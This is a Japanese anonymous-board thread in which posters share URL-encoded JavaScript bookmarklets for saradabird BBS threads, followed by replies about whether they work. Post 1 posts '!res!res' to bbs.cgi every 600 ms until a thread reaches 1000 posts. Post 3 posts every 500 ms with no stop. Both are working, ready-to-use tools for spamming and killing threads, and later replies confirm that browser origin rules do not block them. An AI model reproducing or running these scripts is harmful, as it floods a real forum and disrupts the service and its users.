ブックマーク版やるまし
- 1 :Nanasin.....:2023/08/19(土) 15:16:23.48 ID:ekzRs0Fs/ch.1
- これをお気に入りのURLとして登録した上、対象のスレを開き、お気に入りから呼び出すと始まる
javascript:(()%3D%3E%7B!async%20function()%7Bconst%20e%3D%5B%22saradabird.sakura.ne.jp%22%2C%22saradabird.com%22%5D.includes(a())%2Ct%3Dfunction()%7Bconst%20e%3Dnew%20URL(location.href).pathname%2Ct%3
D%7B%7D%3Breturn%20t.datNumber%3De.split(%22%2F%22)%5B4%5D%2Ct.boardName%3De.split(%22%2F%22)%5B3%5D%2Ct%7D()%3Bif(!e)return%20void%20alert(%22%E3%81%93%E3%81%AE%E3%83%9A%E3%83%BC%E3%82%B8%E3%81%A7%E3
%81%AF%E5%AE%9F%E8%A1%8C%E3%81%A7%E3%81%8D%E3%81%BE%E3%81%9B%E3%82%93%22)%3Bif(0!%3D%3Dlocation.pathname.indexOf(%22%2Ftest%2Fread.cgi%22))return%20void%20alert(%22%E3%82%B9%E3%83%AC%E3%83%83%E3%83%89
%E3%81%AE%E6%83%85%E5%A0%B1%E3%82%92%E5%8F%96%E5%BE%97%E3%81%A7%E3%81%8D%E3%81%BE%E3%81%9B%E3%82%93%E3%81%A7%E3%81%97%E3%81%9F%E3%80%82%E3%82%B9%E3%83%AC%E3%83%83%E3%83%89%E3%82%92%E9%96%8B%E3%81%84%E
3%81%A6%E3%81%8F%E3%81%A0%E3%81%95%E3%81%84%22)%3Bif(!t.datNumber%7C%7C!t.boardName)return%20void%20alert(%22%E3%82%B9%E3%83%AC%E3%83%83%E3%83%89%E3%81%AE%E6%83%85%E5%A0%B1%E3%82%92%E5%8F%96%E5%BE%97%
E3%81%A7%E3%81%8D%E3%81%BE%E3%81%9B%E3%82%93%E3%81%A7%E3%81%97%E3%81%9F%E3%80%82%E3%82%B9%E3%83%AC%E3%83%83%E3%83%89%E3%82%92%E9%96%8B%E3%81%84%E3%81%A6%E3%81%8F%E3%81%A0%E3%81%95%E3%81%84%22)%3Bdocum
ent.body.innerHTML%3D%22%22%3Bconst%20n%3Ddocument.createElement(%22div%22)%3Bn.style.position%3D%22absolute%22%2Cn.style.top%3D%2250%25%22%2Cn.style.left%3D%2250%25%22%2Cn.style.transform%3D%22transl
ate(-50%25%2C%20-50%25)%22%2Cn.style.fontSize%3D%2250px%22%2Cn.style.color%3D%22white%22%2Cn.style.textShadow%3D%220px%200px%2010px%20black%22%2Cn.style.fontFamily%3D%22sans-serif%22%2Cn.style.textAli
gn%3D%22center%22%2Cn.style.width%3D%22100%25%22%2Cn.style.height%3D%22100%25%22%2Cn.style.backgroundColor%3D%22rgba(0%2C%200%2C%200%2C%200.5)%22%2Cdocument.body.appendChild(n)%2Cn.innerText%3D%22%E3%
82%B9%E3%83%AC%E3%83%83%E3%83%89%E3%81%AE%E3%83%AC%E3%82%B9%E6%95%B0%E3%82%92%E5%8F%96%E5%BE%97%E4%B8%AD...%22%3Blet%20r%3D!0%3Bfor(%3Br%3B)%7Bconst%20e%3Dawait%20o(t.boardName%2Ct.datNumber)%3Bif(n.i
nnerHTML%3D%60%E7%8F%BE%E5%9C%A8%E3%81%AE%E3%83%AC%E3%82%B9%E6%95%B0%3A%20%24%7Be%7D%60%2Ce%3C1e3)%7Bconst%20e%3Dnew%20XMLHttpRequest%3Be.open(%22POST%22%2C%60https%3A%2F%2F%24%7Ba()%7D%2Ftest%2Fbbs.c
gi%3Fguid%3DON%60%2C!0)%2Ce.setRequestHeader(%22Content-Type%22%2C%22application%2Fx-www-form-urlencoded%22)%2Ce.overrideMimeType(%22text%2Fplain%3B%20charset%3DShift_JIS%22)%2Ce.send(%60bbs%3D%24%7Bt
.boardName%7D%26key%3D%24%7Bt.datNumber%7D%26time%3D1%26MESSAGE%3D%2521res%2521res%26from%3D%26mail%3Dsage%60)%7Delse%20r%3D!1%3Bawait%20new%20Promise((e%3D%3E%7BsetTimeout(e%2C600)%7D))%7Dfunction%20
o(e%2Ct)%7Breturn%20new%20Promise(((n%2Cr)%3D%3E%7Bconst%20o%3Dnew%20XMLHttpRequest%3Bo.open(%22GET%22%2C%60https%3A%2F%2F%24%7Ba()%7D%2F%24%7Be%7D%2Fsubject.txt%60%2C!0)%2Co.overrideMimeType(%22text%
2Fplain%3B%20charset%3DShift_JIS%22)%2Co.send()%2Co.onload%3Dfunction()%7Bconst%20e%3Do.responseText.split(%22%5Cn%22).find((e%3D%3Ee.split(%22%3C%3E%22)%5B0%5D%3D%3Dt%2B%22.dat%22))%2Cr%3De.lastIndex
Of(%22(%22)%2Ca%3De.lastIndexOf(%22)%22)%2Cs%3De.substring(r%2B1%2Ca)%2Ci%3DNumber(s)%3Bn(i)%7D%2Co.onerror%3Dfunction()%7Br()%7D%7D))%7Dfunction%20a()%7Breturn%20new%20URL(location.href).hostname%7Dn
.innerHTML%3D%22%E7%B5%82%E4%BA%86%E3%81%97%E3%81%BE%E3%81%97%E3%81%9F%E3%80%82%22%2B(new%20Date).toLocaleString()%7D()%3B%7D)()%3B
- 2 :名無し探してます:2023/08/19(土) 15:29:36.39 ID:n2MHap2I/ch.1
- でないぞ
- 3 :魔法少女名無しさん:2023/08/19(土) 17:32:41.55 ID:v/wKffvM/ch.1
- モバイル用廉価版
javascript:(()%3D%3E%7B(async()%3D%3E%7Bconst%20e%3Dnew%20URL(location.href).pathname%2Ct%3De.split(%22%2F%22)%5B4%5D%2Cn%3De.split(%22%2F%22)%5B3%5D%2Co%3D
new%20URL(location.href).hostname%3Bdocument.body.innerHTML%3D%22%22%3Bconst%20i%3Ddocument.createElement(%22div%22)%3B
document.body.appendChild(i)%2Ci.innerText%3D%22%E5%88%9D%E6%9C%9F%E5%8C%96%E4%B8%AD%22%3Blet%20s%3D0%3Bfor(%3B%3B)%7Bi.innerHTML
%3D%60%E8%A9%A6%E8%A1%8C%E6%95%B0%3A%20%24%7B%2B%2Bs%7D%E5%9B%9E%60%3Bconst%20e%3Dnew%20XMLHttpRequest%3Be.open(%22POST%22%2C%60https%3A%2F%2F%24%7Bo%7D%2Ftest%2Fbbs.cgi%3Fguid%3DON%60%2C!0)%2C
e.setRequestHeader(%22Content-Type%22%2C%22application%2Fx-www-form-urlencoded%22)%2Ce.overrideMimeType(%22text%2Fplain%3B%20charset%3DShift_JIS%22)%2C
e.send(%60bbs%3D%24%7Bn%7D%26key%3D%24%7Bt%7D%26time%3D1%26MESSAGE%3D%2521res%2521res%26from%3D%26mail%3Dsage%60)%2Cawait%20new%20Promise((e%3D%3E%7BsetTimeout(e%2C500)%7D))%7D%7D)()%3B%7D)()%3B
- 4 :怪しい名無しさん:2023/08/19(土) 19:39:23.27 ID:YPIwbiik/ch.1
- 試してないしコード読んでもないけどCORSはブラウザが弾いちゃうんじゃない?
ブラウザの設定変えないと
- 5 :名無しさん@怖くて昼も眠れません:2023/08/19(土) 20:45:29.33 ID:Rv8WbFWE/ch.1
- 事前にsaradabird.comを開くということなら制約は受けない
それにあれは別オリジンへのリクエストに対するレスポンスの内容を読むことに対して制約が課されるんであって
ブラウザから送信されたリクエストは別オリジンのサーバーまで正常に届くはずだから書き込み自体は可能かと
- 6 :以下、やらない夫に変わってハンサムがお送りするだろjk:2023/08/19(土) 21:23:55.44 ID:LCNkqHgg/ch.1
- こわくて試せない
- 7 :名無しさん@〜AfterStory〜:2023/08/19(土) 22:11:29.49 ID:Rv8WbFWE/ch.1
- 英語で応対しよう
- 8 :名無しさん!?:2023/08/20(日) 05:15:48.30 ID:c01nCOuA/ch.1
- >>5
ブックマークレットは同一オリジン扱いになるって今初めて知った
ブラウザのconsoleでXMLHttpRequestとかfetchとかを実行してもローカルから対象オリジンへのHTTP Requestになるから、それと同じ扱いだと思ってたわ
じゃー普通に動作するじゃん
こんなん公開すんなよ!
- 9 :名無しは名無し:2023/08/20(日) 08:11:15.10 ID:4yS48jGk/ch.1
- やばくね
とりあえず電気通信法(そんな法律はない)に引っかかってるかもしれないから
知り合いの警察関係者(警察官とは言っていない)に相談するわ
- 10 :名無しさん@平常運行:2023/08/20(日) 12:04:46.12 ID:o95TXToY/ch.1
- 面白いな
TYPE拡張機能作れるの?
- 11 :名無しって知ってますか?:2023/08/20(日) 12:58:45.28 ID:f5xY7/w2/ch.1
- スマホがぶっ壊れたんだが
ex0ch BBS 0.10.5 20250704